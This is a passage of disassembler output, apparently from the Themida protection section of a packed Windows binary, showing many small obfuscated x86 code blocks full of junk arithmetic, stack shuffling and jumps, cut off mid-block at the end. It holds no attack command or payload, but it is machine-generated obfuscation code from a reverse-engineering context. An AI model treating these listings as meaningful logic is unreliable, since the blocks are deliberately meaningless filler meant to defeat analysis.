; ---------------------------------------------------------------------------


loc_5726F0:				; CODE XREF: Themida_:00562018j
		push	ebp
		mov	ebp, 0A9014345h
		jmp	loc_56461A
; ---------------------------------------------------------------------------


loc_5726FB:				; CODE XREF: Themida_:00572C0Fj
		sub	al, 0D8h
		sub	al, 56h
		add	al, dh
		jmp	loc_567901
; ---------------------------------------------------------------------------


loc_572706:				; CODE XREF: Themida_:005654E5j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5715D7
; ---------------------------------------------------------------------------


loc_572717:				; CODE XREF: Themida_:00574712j
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_565193
; ---------------------------------------------------------------------------


loc_572721:				; CODE XREF: Themida_:0057174Aj
		pop	edi
		push	esi
		mov	esi, esp
		push	ebx
		push	0C1D35E0h
		mov	ebx, [esp]
		jmp	loc_5623D4
; ---------------------------------------------------------------------------


loc_572733:				; CODE XREF: Themida_:00564928j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_569CB1
; ---------------------------------------------------------------------------


loc_57273F:				; CODE XREF: Themida_:0056D3B2j
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	edx, ebx
		push	dword ptr [esp]
		jmp	loc_56DE6A
; ---------------------------------------------------------------------------


loc_572750:				; CODE XREF: Themida_:00562075j
		push	ecx
		mov	ecx, 0
		jmp	loc_56464E
; ---------------------------------------------------------------------------


loc_57275B:				; CODE XREF: Themida_:0056F674j
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xor	edx, esi
		pop	esi
		shl	edx, 7
		xor	edx, 26A12FACh
		jmp	loc_55FFDB
; ---------------------------------------------------------------------------


loc_572774:				; CODE XREF: Themida_:00570954j
		sub	eax, edx
		jmp	loc_571283
; ---------------------------------------------------------------------------


loc_57277B:				; CODE XREF: Themida_:0056DF02j
		push	esp
		pop	ecx
		push	edx
		push	edi
		jmp	loc_567256
; ---------------------------------------------------------------------------


loc_572784:				; CODE XREF: Themida_:00571C05j
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5604AD
; ---------------------------------------------------------------------------


loc_572797:				; CODE XREF: Themida_:00574244j
		add	esi, 758BFB44h
		jmp	loc_571EE1
; ---------------------------------------------------------------------------


loc_5727A2:				; CODE XREF: Themida_:0056AAFCj
		xor	esi, 0D5578DCCh
		sub	eax, esi
		pop	esi
		jmp	loc_563D60
; ---------------------------------------------------------------------------


loc_5727B0:				; CODE XREF: Themida_:00561032j
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5727E2:				; CODE XREF: Themida_:0056B8BEj
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_56D6B6
; ---------------------------------------------------------------------------


loc_5727ED:				; CODE XREF: Themida_:00571B37j
		mov	ebp, 4829413Fh
		shl	ebp, 7
		xor	ebp, 4A000DDFh
		add	eax, ebp
		jmp	loc_568ADA
; ---------------------------------------------------------------------------


loc_572802:				; CODE XREF: Themida_:0056FBDAj
		mov	bl, ah
		jmp	loc_5612E8
; ---------------------------------------------------------------------------


loc_572809:				; CODE XREF: Themida_:0056B2B3j
		xor	ebp, edi
		pop	edi
		xor	ebp, 659C2CB5h
		shr	ebp, 8
		push	edx
		mov	edx, 0CF807D63h
		sub	ebp, edx
		pop	edx
		add	ebx, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	ebx, 3E190F9Ch
		mov	eax, [esp]
		add	esp, 4
		push	edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		pop	esi
		add	ebx, edi
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_55F639
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1D7Ch
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_564668
; ---------------------------------------------------------------------------


loc_572876:				; CODE XREF: Themida_:0057127Ej
		pop	eax
		add	edi, ebx
		sub	edi, 6ED43551h
		pop	ebx
		jmp	loc_56AFEC
; ---------------------------------------------------------------------------


loc_572885:				; CODE XREF: Themida_:00566533j
		push	1CAEh
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_565DA1
; ---------------------------------------------------------------------------


loc_572898:				; CODE XREF: Themida_:0056DC06j
		mov	edi, 500942FBh
		xor	edi, 39F915A1h
		sub	dword ptr [esp+4], 69556AEAh
		jmp	loc_56EAB0
; ---------------------------------------------------------------------------


loc_5728B0:				; CODE XREF: Themida_:00574170j
		mov	ebx, 14BE37E7h
		add	ebx, ebp
		pop	ebp
		push	esi
		jmp	loc_564160
; ---------------------------------------------------------------------------


loc_5728BE:				; CODE XREF: Themida_:005706C5j
		push	ecx
		mov	ecx, 1174139Bh
		push	eax
		jmp	loc_56551B
; ---------------------------------------------------------------------------


loc_5728CA:				; CODE XREF: Themida_:0056EFD8j
		push	bx
		mov	bh, 89h
		sub	ah, 8Ah
		jmp	loc_56E256
; ---------------------------------------------------------------------------


loc_5728D6:				; CODE XREF: Themida_:0056B658j
		sub	esi, 0FFFFFFFFh
		add	esi, 920AE5DEh
		jmp	loc_572901
; ---------------------------------------------------------------------------


loc_5728E7:				; CODE XREF: Themida_:005676C6j
		push	19Ch
		mov	[esp], ebx
		mov	ebx, 1AAC4488h
		jmp	loc_563039
; ---------------------------------------------------------------------------


loc_5728F9:				; CODE XREF: Themida_:005730EDj
		mov	[esp], esi
		jmp	loc_56DDDB
; ---------------------------------------------------------------------------


loc_572901:				; CODE XREF: Themida_:005728E2j
		sub	ebx, 0CCF2E54h
		sub	ebx, esi
		push	esi
		mov	esi, 0CCF2E54h
		add	ebx, 3BCE52C5h
		add	ebx, esi
		sub	ebx, 3BCE52C5h
		pop	esi
		pop	esi
		sub	ebx, edi
		push	ebp
		mov	ebp, 53EE4078h
		jmp	loc_565106
; ---------------------------------------------------------------------------


loc_57292C:				; CODE XREF: Themida_:00562F8Ej
		sub	edi, ebp
		pop	ebp
		sub	ebp, edi
		pop	edi
		push	4935h
		jmp	loc_568330
; ---------------------------------------------------------------------------


loc_57293C:				; CODE XREF: Themida_:00560B99j
		xor	esi, 0EEEFFCh
		jmp	loc_563E3C
; ---------------------------------------------------------------------------


loc_572947:				; CODE XREF: Themida_:0056A047j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		sub	ecx, 31C43149h
		add	ecx, eax
		add	ecx, 31C43149h
		jmp	loc_565CCC
; ---------------------------------------------------------------------------


loc_57297F:				; CODE XREF: Themida_:00571C98j
		pop	esp
		jmp	loc_57131D
; ---------------------------------------------------------------------------


loc_572985:				; CODE XREF: Themida_:00562D49j
		mov	ebp, [esp]
		add	esp, 4
		xor	ebp, 5FE915D4h
		xor	ebp, 16CC766Ah
		mov	edx, ebp
		pop	ebp
		push	ebp
		mov	ebp, 3FFE99A2h
		sub	edx, ebp
		pop	ebp
		add	ebx, 56FA3C66h
		sub	ebx, edx
		push	eax
		push	edx
		push	ebx
		push	edi
		jmp	loc_5679A9
; ---------------------------------------------------------------------------


loc_5729B7:				; CODE XREF: Themida_:005680F0j
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_5629E9
; ---------------------------------------------------------------------------


loc_5729C2:				; CODE XREF: Themida_:00568306j
		add	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 251816EAh
		jmp	loc_57229F
; ---------------------------------------------------------------------------


loc_5729D0:				; CODE XREF: Themida_:00568697j
		pop	edx
		jmp	loc_56DBA0
; ---------------------------------------------------------------------------


loc_5729D6:				; CODE XREF: Themida_:0056AA71j
		pop	ecx
		push	ebp
		push	65C0h
		mov	[esp], edi
		jmp	loc_56E1C7
; ---------------------------------------------------------------------------


loc_5729E5:				; CODE XREF: Themida_:00566B31j
		pop	eax
		rep movsd
		add	esp, [edx+38h]
		jmp	loc_560804
; ---------------------------------------------------------------------------


loc_5729F0:				; CODE XREF: Themida_:0056ECF8j
		push	eax
		push	0
		jmp	loc_570A23
; ---------------------------------------------------------------------------


loc_5729FB:				; CODE XREF: Themida_:005642A6j
		add	ebx, 205500Dh
		jmp	loc_56240D
; ---------------------------------------------------------------------------


loc_572A06:				; CODE XREF: Themida_:00569914j
		sub	edi, 0F33BB10Ah
		jmp	loc_571B4B
; ---------------------------------------------------------------------------


loc_572A11:				; CODE XREF: Themida_:00574036j
		shr	edx, 3
		jmp	loc_561504
; ---------------------------------------------------------------------------


loc_572A19:				; CODE XREF: Themida_:005618C4j
		mov	ebp, 6C652700h
		not	ebp
		push	ebx
		jmp	loc_566C54
; ---------------------------------------------------------------------------


loc_572A26:				; CODE XREF: Themida_:00571498j
		xor	ebx, edi
		pop	edi
		xor	ebx, 49316788h
		neg	ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1
		add	ebx, esi
		jmp	loc_56D9D7
; ---------------------------------------------------------------------------


loc_572A46:				; CODE XREF: Themida_:0055F706j
		sub	esi, 1D653B8Dh
		add	esi, 168658DEh
		mov	edx, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_562641
; ---------------------------------------------------------------------------


loc_572A72:				; CODE XREF: Themida_:00570BC7j
		not	eax
		jmp	loc_56E7FC
; ---------------------------------------------------------------------------


loc_572A79:				; CODE XREF: Themida_:00560A67j
		pop	ebx
		shl	ch, 7
		jmp	loc_56364F
; ---------------------------------------------------------------------------


loc_572A82:				; CODE XREF: Themida_:0056390Aj
		push	ebx
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, edx
		jmp	loc_56B539
; ---------------------------------------------------------------------------


loc_572A9C:				; CODE XREF: Themida_:0056CB02j
		push	19Ch
		mov	[esp], ecx
		mov	ecx, 6F5B3479h
		or	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 5EB3755Ch
		add	esi, 7EAB3B5Ah
		add	edx, esi
		pop	esi
		jmp	loc_573F3F
; ---------------------------------------------------------------------------


loc_572AC0:				; CODE XREF: Themida_:0056F8ADj
		push	ebx
		mov	ebx, 68535BEFh
		push	esi
		push	edx
		jmp	loc_57151C
; ---------------------------------------------------------------------------


loc_572ACD:				; CODE XREF: Themida_:00561465j
		xor	eax, edx
		xor	edx, eax
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	3B8Fh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	edx
		mov	edx, 4
		jmp	loc_573BF0
; ---------------------------------------------------------------------------


loc_572AF1:				; CODE XREF: Themida_:0057383Aj
		pop	ecx
		jmp	loc_56A4E3
; ---------------------------------------------------------------------------


loc_572AF7:				; CODE XREF: Themida_:005723B5j
		add	eax, ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56BB5E
; ---------------------------------------------------------------------------


loc_572B07:				; CODE XREF: Themida_:0056389Ej
		xor	bl, al
		movzx	eax, al
		jmp	loc_56985C
; ---------------------------------------------------------------------------


loc_572B11:				; CODE XREF: Themida_:00573BD2j
		xor	ebp, eax
		pop	eax
		push	edi
		mov	edi, ebp
		mov	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	55BDh
		mov	[esp], eax
		push	esp
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	edx
		mov	edx, 6C1E311Dh
		mov	edi, 1F5C741Eh
		xor	edi, edx
		pop	edx
		inc	edi
		neg	edi
		add	edi, 542C1455h
		xor	edi, 0E0E9CF55h
		add	eax, edi
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_56CF49
; ---------------------------------------------------------------------------


loc_572B5B:				; CODE XREF: Themida_:005733FFj
		push	edx
		mov	edx, 7F7661F5h
		jmp	loc_565546
; ---------------------------------------------------------------------------


loc_572B66:				; CODE XREF: Themida_:00570A18j
		push	ecx
		mov	ecx, 7A924651h
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	edi, 76E93E2Dh
		jmp	loc_566882
; ---------------------------------------------------------------------------


loc_572B7F:				; CODE XREF: Themida_:00566E0Dj
		mov	[esp], ebx
		push	esi
		mov	esi, 28BD10AEh
		jmp	loc_55FD5F
; ---------------------------------------------------------------------------


loc_572B8D:				; CODE XREF: Themida_:00571B8Bj
		mov	eax, [esp]
		jmp	loc_56A99E
; ---------------------------------------------------------------------------


loc_572B95:				; CODE XREF: Themida_:00564AA8j
		pop	bp
		sub	esp, 2
		mov	[esp], di
		push	bp
		jmp	loc_55F9B7
; ---------------------------------------------------------------------------


loc_572BA8:				; CODE XREF: Themida_:0056EEF3j
		pop	ebx
		add	esp, 4
		push	ebp
		push	edx
		mov	edx, edi
		jmp	loc_5601B3
; ---------------------------------------------------------------------------


loc_572BB5:				; CODE XREF: Themida_:00571D3Ej
		push	0FC2h
		mov	[esp], esi
		push	ebp
		pop	esi
		push	edi
		mov	edi, esi
		jmp	loc_561AD9
; ---------------------------------------------------------------------------


loc_572BC7:				; CODE XREF: Themida_:00573B02j
		add	eax, ebp
		pop	ebp
		push	edx
		mov	edx, 4A21048Ah
		or	edx, 37841018h
		and	edx, 71A83F4Ch
		dec	edx
		jmp	loc_56EAC3
; ---------------------------------------------------------------------------


loc_572BE2:				; CODE XREF: Themida_:0056FA6Ej
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_567380
; ---------------------------------------------------------------------------


loc_572BF2:				; CODE XREF: Themida_:0056CC3Bj
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_56CA5E
; ---------------------------------------------------------------------------


loc_572C0B:				; CODE XREF: Themida_:00568013j
		sub	dh, al
		pop	ax
		jmp	loc_5726FB
; ---------------------------------------------------------------------------


loc_572C14:				; CODE XREF: Themida_:00570397j
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_5699F4
; ---------------------------------------------------------------------------


loc_572C1F:				; CODE XREF: Themida_:0056F834j
		mov	[esp], ebx
		push	ecx
		mov	ch, 4Ah
		jmp	loc_5602BA
; ---------------------------------------------------------------------------


loc_572C2A:				; CODE XREF: Themida_:0056010Ej
		mov	ebx, edx
		pop	edx
		jmp	loc_5634FD
; ---------------------------------------------------------------------------


loc_572C32:				; CODE XREF: Themida_:00562BBDj
		push	eax
		mov	eax, 26511313h
		jmp	loc_56D14A
; ---------------------------------------------------------------------------


loc_572C3D:				; CODE XREF: Themida_:0056D276j
		add	edx, 4
		jmp	loc_56B03D
; ---------------------------------------------------------------------------


loc_572C48:				; CODE XREF: Themida_:00568A93j
		mov	ebx, 0ADC4B44h
		xor	ebx, 41093D22h
		push	ebx
		not	dword ptr [esp]
		jmp	loc_56E817
; ---------------------------------------------------------------------------


loc_572C5C:				; CODE XREF: Themida_:0056D109j
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], bx
		jmp	loc_565355
; ---------------------------------------------------------------------------


loc_572C78:				; CODE XREF: Themida_:0056FDABj
		push	eax
		mov	eax, 0FF37708h
		jmp	loc_560CC5
; ---------------------------------------------------------------------------


loc_572C83:				; CODE XREF: Themida_:0057093Aj
		mov	ebp, [esp]
		jmp	loc_570F00
; ---------------------------------------------------------------------------


loc_572C8B:				; CODE XREF: Themida_:00562C7Aj
		mov	ch, 3Bh
		mov	dh, 9Eh
		add	dh, ch
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56EF80
; ---------------------------------------------------------------------------


loc_572C9F:				; CODE XREF: Themida_:00565CCEj
		mov	ebx, 4
		jmp	loc_567455
; ---------------------------------------------------------------------------


loc_572CA9:				; CODE XREF: Themida_:00560AB0j
		and	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5681EF
; ---------------------------------------------------------------------------


loc_572CB9:				; CODE XREF: Themida_:00563301j
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_56C181
; ---------------------------------------------------------------------------


loc_572CC5:				; CODE XREF: Themida_:00562A70j
		mov	ebp, 7E6D5C49h
		push	edx
		mov	edx, 7E6D5C4Dh
		jmp	loc_56DAFB
; ---------------------------------------------------------------------------


loc_572CD5:				; CODE XREF: Themida_:0056BA83j
		sub	edi, 0A205DB0h
		push	dword ptr [esp]
		jmp	loc_5693C2
; ---------------------------------------------------------------------------


loc_572CE3:				; CODE XREF: Themida_:00565E00j
		push	edx
		jmp	loc_5618FC
; ---------------------------------------------------------------------------


loc_572CE9:				; CODE XREF: Themida_:0057046Dj
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5624C6
; ---------------------------------------------------------------------------


loc_572CFD:				; CODE XREF: Themida_:0056AC06j
		push	esp
		jmp	loc_56B3FC
; ---------------------------------------------------------------------------


loc_572D03:				; CODE XREF: Themida_:0056ED8Aj
		add	ebx, edi
		push	ebp
		mov	ebp, 222544A8h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_568C3F
; ---------------------------------------------------------------------------


loc_572D1B:				; CODE XREF: Themida_:005745BBj
		sub	esi, 62182C4Fh
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 2
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_56086A
; ---------------------------------------------------------------------------


loc_572D3E:				; CODE XREF: Themida_:005648B4j
		pop	eax
		add	esp, 4
		jmp	loc_5698C6
; ---------------------------------------------------------------------------


loc_572D4A:				; CODE XREF: Themida_:00565FC0j
		not	ecx
		or	ecx, 2FA13ABBh
		dec	ecx
		not	ecx
		jmp	loc_55FE3F
; ---------------------------------------------------------------------------


loc_572D5A:				; CODE XREF: Themida_:0056EB6Dj
		pop	ecx
		push	5B0Ch
		mov	[esp], edx
		mov	dh, al
		push	14FDh
		mov	[esp], eax
		mov	al, dh
		mov	ch, al
		pop	eax
		pop	edx
		pop	eax
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_56C7E1
; ---------------------------------------------------------------------------


loc_572D7F:				; CODE XREF: Themida_:00570F3Cj
		xor	esi, 0A3CE4518h
		sub	eax, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_563634
; ---------------------------------------------------------------------------


loc_572D92:				; CODE XREF: Themida_:0055F8DBj
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	edi
		sub	esp, 4
		jmp	loc_55F927
; ---------------------------------------------------------------------------


loc_572DB1:				; CODE XREF: Themida_:0056A8A3j
		mov	ebp, 4DD904BCh
		neg	ebp
		push	edx
		mov	edx, 0B226FB40h
		xor	ebp, edx
		pop	edx
		add	esi, ebp
		pop	ebp
		push	ecx
		mov	ecx, 4
		sub	esi, ecx
		jmp	loc_567352
; ---------------------------------------------------------------------------


loc_572DD1:				; CODE XREF: Themida_:0055FFAAj
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_56B428
; ---------------------------------------------------------------------------


loc_572DEB:				; CODE XREF: Themida_:00566AE0j
		mov	dh, 89h
		dec	dh
		shr	dh, 5
		push	eax
		jmp	loc_56954D
; ---------------------------------------------------------------------------


loc_572DF8:				; CODE XREF: Themida_:005645B7j
		add	edi, 4
		jmp	loc_562260
; ---------------------------------------------------------------------------


loc_572E00:				; CODE XREF: Themida_:0056B8ADj
		add	edi, 4
		jmp	loc_5674AD
; ---------------------------------------------------------------------------


loc_572E0B:				; CODE XREF: Themida_:00573056j
		xchg	ecx, [esp]
		pop	esp
		push	edx
		jmp	loc_56D25F
; ---------------------------------------------------------------------------


loc_572E15:				; CODE XREF: Themida_:0056F2C9j
		push	ebp
		mov	ebp, 4C776EF7h
		add	ebx, ebp
		pop	ebp
		add	ebx, 514061F8h
		sub	ebx, edx
		sub	ebx, 514061F8h
		sub	ebx, 4C776EF7h
		pop	edx
		jmp	loc_566B62
; ---------------------------------------------------------------------------


loc_572E38:				; CODE XREF: Themida_:00562538j
		push	eax
		jmp	loc_56F894
; ---------------------------------------------------------------------------


loc_572E3E:				; CODE XREF: Themida_:0056D9F7j
		mov	esp, [esp]
		mov	eax, [esp]
		push	7988h
		mov	[esp], esi
		jmp	loc_56BAE3
; ---------------------------------------------------------------------------


loc_572E51:				; CODE XREF: Themida_:00571F93j
		xor	cl, dh
		pop	dx
		add	al, cl
		pop	ecx
		jmp	loc_5708E2
; ---------------------------------------------------------------------------


loc_572E5D:				; CODE XREF: Themida_:0056211Aj
		add	bl, cl
		jmp	loc_564B90
; ---------------------------------------------------------------------------


loc_572E64:				; CODE XREF: Themida_:00568CC6j
		push	eax
		mov	eax, 10000h
		mov	ebp, eax
		jmp	loc_573BA0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		jmp	loc_560A22
; ---------------------------------------------------------------------------


loc_572E87:				; CODE XREF: Themida_:0056E026j
		push	ebp
		sub	esp, 4
		jmp	loc_5718BF
; ---------------------------------------------------------------------------


loc_572E90:				; CODE XREF: Themida_:0056D835j
		mov	ecx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		xchg	ebp, [esp]
		jmp	loc_564FEC
; ---------------------------------------------------------------------------


loc_572EAD:				; CODE XREF: Themida_:0057081Ej
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	713E5F67h
		pop	ebp
		push	esi
		mov	esi, 6FD639FCh
		xor	esi, 771B6B2Bh
		add	ebp, esi
		pop	esi
		push	esi
		mov	esi, 911824h
		xchg	ebp, esi
		not	ebp
		jmp	loc_56B056
; ---------------------------------------------------------------------------


loc_572EE9:				; CODE XREF: Themida_:0056363Bj
		push	edx
		mov	edx, 6BCE7C5Ah
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	edx, ecx
		jmp	loc_564BF1
; ---------------------------------------------------------------------------


loc_572EFE:				; CODE XREF: Themida_:0056145Ej
		or	ebx, 6DB5724Bh
		push	edx
		mov	edx, 0CDB2B929h
		xor	ebx, edx
		jmp	loc_56A9D7
; ---------------------------------------------------------------------------


loc_572F11:				; CODE XREF: Themida_:0056D37Dj
		push	eax
		jmp	loc_5735C4
; ---------------------------------------------------------------------------


loc_572F17:				; CODE XREF: Themida_:0056DEC9j
		mov	eax, 13C45444h
		jmp	loc_56A14D
; ---------------------------------------------------------------------------


loc_572F21:				; CODE XREF: Themida_:0056CC66j
		add	esp, 4
		push	edi
		mov	edi, 38C00002h
		push	ecx
		mov	ecx, 62361CF3h
		shl	ecx, 4
		not	ecx
		sub	ecx, 8D5023E3h
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		neg	edi
		add	edi, 0E971F31Ah
		add	edx, 26DA1B2Dh
		jmp	loc_56CDDD
; ---------------------------------------------------------------------------


loc_572F59:				; CODE XREF: Themida_:00571EF4j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		and	[esp], ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_572F73:				; CODE XREF: Themida_:00567E03j
		add	esp, 2
		jmp	loc_565E7F
; ---------------------------------------------------------------------------


loc_572F7B:				; CODE XREF: Themida_:0056E109j
		add	ebx, eax
		push	ecx
		mov	ecx, 2EF1CF8h
		sub	ebx, 30A450C4h
		jmp	loc_5626AE
; ---------------------------------------------------------------------------


loc_572F8E:				; CODE XREF: Themida_:0056CBCAj
		mov	ebp, edi
		jmp	loc_56B2D7
; ---------------------------------------------------------------------------


loc_572F95:				; CODE XREF: Themida_:0056FF38j
		mov	ebx, edi
		pop	edi
		xor	ebx, offset dword_5A4C78
		add	esi, ebx
		jmp	loc_57412A
; ---------------------------------------------------------------------------


loc_572FA5:				; CODE XREF: Themida_:00574105j
		add	esp, 4
		push	ecx
		jmp	loc_57123D
; ---------------------------------------------------------------------------


loc_572FB1:				; CODE XREF: Themida_:00565602j
		mov	esi, 2
		add	eax, esi
		pop	esi
		jmp	loc_5714E7
; ---------------------------------------------------------------------------


loc_572FBE:				; CODE XREF: Themida_:0056EB83j
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56D6C2
; ---------------------------------------------------------------------------


loc_572FCC:				; CODE XREF: Themida_:0056B992j
		mov	[esp], ecx
		mov	ecx, 5FA5E7C0h
		add	esi, ecx
		pop	ecx
		shr	esi, 3
		push	eax
		mov	eax, 342D0FB1h
		xor	eax, 1C667D69h
		and	esi, eax
		pop	eax
		xor	esi, 1B47027Dh
		jmp	loc_571E2F
; ---------------------------------------------------------------------------


loc_572FF3:				; CODE XREF: Themida_:0056B854j
		mov	edi, 1B62CDh
		xor	edi, eax
		pop	eax
		sub	eax, edi
		jmp	loc_567460
; ---------------------------------------------------------------------------


loc_573002:				; CODE XREF: Themida_:0056B192j
		add	edx, ecx
		pop	ecx
		sub	ebp, 5CA6567Fh
		sub	ebp, edx
		add	ebp, 5CA6567Fh
		pop	edx
		sub	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_56E5C9
; ---------------------------------------------------------------------------


loc_573028:				; CODE XREF: Themida_:00564878j
		mov	ebx, 7507432Dh
		jmp	loc_5688B7
; ---------------------------------------------------------------------------


loc_573032:				; CODE XREF: Themida_:00564434j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_570459
; ---------------------------------------------------------------------------


loc_573047:				; CODE XREF: Themida_:00563A60j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_572E0B
; ---------------------------------------------------------------------------


loc_57305B:				; CODE XREF: Themida_:00568F37j
		sub	bl, dh
		jmp	loc_56587C
; ---------------------------------------------------------------------------


loc_573062:				; CODE XREF: Themida_:00566200j
		sub	eax, 6866140Eh
		sub	eax, 54C359A3h
		sub	eax, ebx
		add	eax, 54C359A3h
		add	eax, 6866140Eh
		jmp	loc_56DABA
; ---------------------------------------------------------------------------


loc_57307D:				; CODE XREF: Themida_:005732FEj
		add	eax, 6B4407FFh
		pop	edx
		jmp	loc_570F4E
; ---------------------------------------------------------------------------


loc_573088:				; CODE XREF: Themida_:0056864Aj
		xor	ebx, 27F18D93h
		sub	ecx, ebx
		pop	ebx
		sub	ecx, 6E3D1BCDh
		jmp	loc_56AA64
; ---------------------------------------------------------------------------


loc_57309C:				; CODE XREF: Themida_:0056D201j
		pop	ecx
		push	esi
		push	edi
		mov	esi, [esp]
		add	esp, 4
		pop	edi
		sub	esi, 6FC4527h
		shl	esi, 6
		jmp	loc_56FF13
; ---------------------------------------------------------------------------


loc_5730B7:				; CODE XREF: Themida_:00560630j
		add	ecx, edi
		pop	edi
		jmp	loc_56ACD8
; ---------------------------------------------------------------------------


loc_5730BF:				; CODE XREF: Themida_:0055FCFEj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4B2165C6h
		mov	ecx, edi
		pop	edi
		push	0
		sub	[esp], ecx
		pop	ecx
		push	eax
		mov	eax, 67A16435h
		or	ecx, eax
		pop	eax
		jmp	loc_56A953
; ---------------------------------------------------------------------------


loc_5730E7:				; CODE XREF: Themida_:00561B14j
		sub	esp, 4
		jmp	loc_5728F9
; ---------------------------------------------------------------------------


loc_5730F2:				; CODE XREF: Themida_:00568D8Cj
		push	ebx
		jmp	loc_571F83
; ---------------------------------------------------------------------------


loc_5730F8:				; CODE XREF: Themida_:00571D6Aj
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_564A8B
; ---------------------------------------------------------------------------


loc_573107:				; CODE XREF: Themida_:00570122j
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_573119:				; CODE XREF: Themida_:0056FBABj
		push	esi
		mov	esi, 2
		push	ebx
		jmp	loc_570209
; ---------------------------------------------------------------------------


loc_573125:				; CODE XREF: Themida_:00566D38j
		pop	edx
		push	ebx
		push	esi
		push	20B65E59h
		pop	esi
		jmp	loc_560643
; ---------------------------------------------------------------------------


loc_573133:				; CODE XREF: Themida_:0056CD6Dj
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	4FA8h
		mov	[esp], ebp
		jmp	loc_56B16D
; ---------------------------------------------------------------------------


loc_573156:				; CODE XREF: Themida_:00571A9Cj
		add	dh, bl
		pop	ebx
		push	eax
		mov	ah, 0D2h
		dec	ah
		dec	ah
		and	ah, 20h
		or	ah, 75h
